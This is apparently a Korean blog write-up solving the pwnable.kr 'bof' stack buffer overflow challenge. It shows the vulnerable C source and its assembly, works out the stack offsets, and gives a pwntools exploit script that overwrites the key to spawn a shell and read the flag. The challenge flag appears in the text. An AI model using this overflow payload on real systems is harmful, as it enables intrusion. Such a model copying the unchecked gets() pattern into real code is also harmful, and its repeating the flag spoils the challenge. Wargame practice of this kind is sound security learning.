아래는 다운받은 bof.c 코드이다.
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
main 함수의 func()에서 key = 0xdeadbeef를 위쪽 func()처럼 key = 0xcafebabe 로 바꿔주면 쉘을 띄워준다.
gets 함수를 통해 입력을 받는데, 입력값의 길이를 제한하지 않기 때문에 overflow[32] 32 바이트를 넘기는 값도 들어올 수 있다.
그렇게 되면 key 값을 덮어쓰게 된다.
key 값은 16진수 8개로 이루어져 16 바이트 즉 16 = 2^4이므로 4칸이 필요하다.
key[4] 와 overflow[32] 사이 거리를 구해보자.
gdb가 안 보여줘서 gcc로 어셈블리어 컴파일을 했다.
.file "bof.c"
.text
.section .rodata
.LC0:
.string "overflow me : "
.LC1:
.string "/bin/sh"
.LC2:
.string "Nah.."
.text
.globl func
.type func, @function
func:
.LFB6:
.cfi_startproc
endbr64
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
movq %rsp, %rbp
.cfi_def_cfa_register 6
subq $64, %rsp
movl %edi, -52(%rbp)
movq %fs:40, %rax
movq %rax, -8(%rbp)
xorl %eax, %eax
leaq .LC0(%rip), %rax
movq %rax, %rdi
movl $0, %eax
call printf@PLT
leaq -48(%rbp), %rax
movq %rax, %rdi
movl $0, %eax
call gets@PLT
cmpl $-889275714, -52(%rbp)
jne .L2
leaq .LC1(%rip), %rax
movq %rax, %rdi
call system@PLT
jmp .L5
.L2:
leaq .LC2(%rip), %rax
movq %rax, %rdi
call puts@PLT
.L5:
nop
movq -8(%rbp), %rax
subq %fs:40, %rax
je .L4
call __stack_chk_fail@PLT
.L4:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE6:
.size func, .-func
.globl main
.type main, @function
main:
.LFB7:
.cfi_startproc
endbr64
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
movq %rsp, %rbp
.cfi_def_cfa_register 6
subq $16, %rsp
movl %edi, -4(%rbp)
movq %rsi, -16(%rbp)
movl $-559038737, %edi
call func
movl $0, %eax
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE7:
.size main, .-main
.ident "GCC: (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
난 바보다. gdb 된줄 모르고 안 된다고 오류 고치고 있었다.
0xcafebabe 가 있는 것으로 보아 key는 <+40> [ebp+0x8]에 있다.
위의 gcc가 어셈블리 컴파일 해준 코드에 나온대로 printf와 gets를 의미하는 첫번째와 두번째 call을 보자.
그럼 overflow[32]는 printf 이후 gets로 입력받는 값이니 <+29>, <+32>, <+35> 부분 즉, [ebp-0x2c] 이다.
스택은 아래와 같은 구조로 생겼다.
낮은주소
overflowme[32]
dummy[12]
ebp+ret[8]
key[4]
높은주소
32+12+8=52 이므로 payload를 짜면, dummy[52] + key[4] (0xcafebabe).
코드를 짰는데 플래그를 뱉어내지 않고 포트를 종료해버려서...
아래 몇줄을 더 추가했다.
최종본!
from pwn import *
r = remote("pwnable.kr", 9000)
payload = "D"*52 + "\xbe\xba\xfe\xca"
r.sendline(payload)
r.sendline('ls')
print(r.recv())
r.sendline('cat flag')
print(r.recv())
r.close()
플래그다!
daddy, I just pwned a buFFer :)
+ 추가
이렇게 해도 된다는데 나는 안 됐다. 까다로운 녀석이다.
'Wargame > pwnable.kr' 카테고리의 다른 글
[pwnable.kr] unlink (0) | 2023.11.19 |
---|---|
[pwnable.kr] fd (0) | 2023.09.11 |